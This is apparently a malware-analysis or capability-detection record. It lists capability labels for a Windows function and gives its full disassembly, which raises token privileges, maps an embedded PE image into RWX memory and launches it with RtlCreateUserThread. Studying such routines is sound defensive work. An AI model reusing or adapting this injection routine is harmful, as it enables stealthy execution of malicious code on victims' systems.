Function at 0x100012c0
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Parse pe header
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x44
mov eax, dword [0x10004040]
xor eax, esp
mov dword [esp + 0x40], eax
push ebx
push esi
push edi
lea eax, [esp + 0x18]
push eax
push 0x28
push 0xffffffffffffffff
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x1000132b
push 0
push 0
push 0
lea eax, [esp + 0x44]
mov dword [esp + 0x44], 1
push eax
push 0
push dword [esp + 0x2c]
mov dword [esp + 0x5c], 2
mov dword [esp + 0x54], 0x14
mov dword [esp + 0x58], 0
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
push dword [esp + 0x18]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, 0x5a4d
cmp word [0x10004094], ax
je 0x1000134d
push 0x8000
push 0
push 0x10004094
call ebx
mov esi, dword [0x100040d0]
add esi, 0x10004094
cmp dword [esi], 0x4550
je 0x1000136f
push 0x8000
push 0
push 0x10004094
call ebx
mov eax, 0x2000
test word [esi + 0x16], ax
jne 0x10001388
push 0x8000
push 0
push 0x10004094
call ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push 0x40
push 0x1000
push dword [esi + 0x50]
mov edi, eax
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
push 0
push dword [esi + 0x54]
mov dword [esp + 0x18], eax
push 0x10004094
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x100013e3
push 0x8000
push eax
push dword [esp + 0x18]
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x8000
push 0
push 0x10004094
call ebx
xor eax, eax
mov dword [esp + 0xc], 0
cmp ax, word [esi + 6]
jae 0x10001436
lea ebx, [esi + 0x10c]
nop dword [eax]
mov eax, dword [ebx]
push 0
push dword [ebx - 4]
add eax, 0x10004094
push eax
mov eax, dword [ebx - 8]
add eax, dword [esp + 0x1c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov ecx, dword [esp + 0xc]
lea ebx, [ebx + 0x28]
movzx eax, word [esi + 6]
inc ecx
mov dword [esp + 0xc], ecx
cmp ecx, eax
jb 0x10001400
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualFree]
push 0x40
push 0x3000
push 0x1000
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [esp + 0xc], eax
test eax, eax
jne 0x10001479
push 0x8000
push eax
push dword [esp + 0x18]
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x8000
push 0
push 0x10004094
call ebx
mov ecx, dword [esp + 0x10]
mov eax, dword [0x100040d0]
add eax, ecx
mov dword [esp + 0x20], 0
mov dword [esp + 0x24], eax
mov dword [esp + 0x1c], ecx
mov eax, dword [esi + 0xa0]
add eax, ecx
mov dword [esp + 0x28], eax
mov eax, dword [esi + 0x80]
mov esi, dword [esp + 0xc]
add eax, ecx
mov dword [esp + 0x2c], eax
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0
mov dword [esp + 0x34], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x1c
mov dword [esp + 0x3c], eax
lea eax, [esp + 0x24]
push eax
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
mov eax, fcn.100012b0
add esi, 0x1c
sub eax, 0x100011a0
push eax
push 0x100011a0
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
push esi
push 0
push 0
push 0
push 0
push 0
push edi
call dword [sym.imp.ntdll.dll_RtlCreateUserThread]
test eax, eax
jns 0x1000152a
push 0x8000
push 0
push dword [esp + 0x14]
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push edi
call dword [sym.imp.ntdll.dll_NtClose]
push 0xffffffffffffffff
push dword [esp + 0x18]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea eax, [esp + 0x48]
push eax
push dword [esp + 0x18]
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
push dword [esp + 0x14]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push 0x8000
push 0
push dword [esp + 0x14]
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push edi
call esi
push 0x8000
push 0
push 0x10004094
call ebx
mov ecx, dword [esp + 0x4c]
mov al, 1
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.100015e4
mov esp, ebp
pop ebp
ret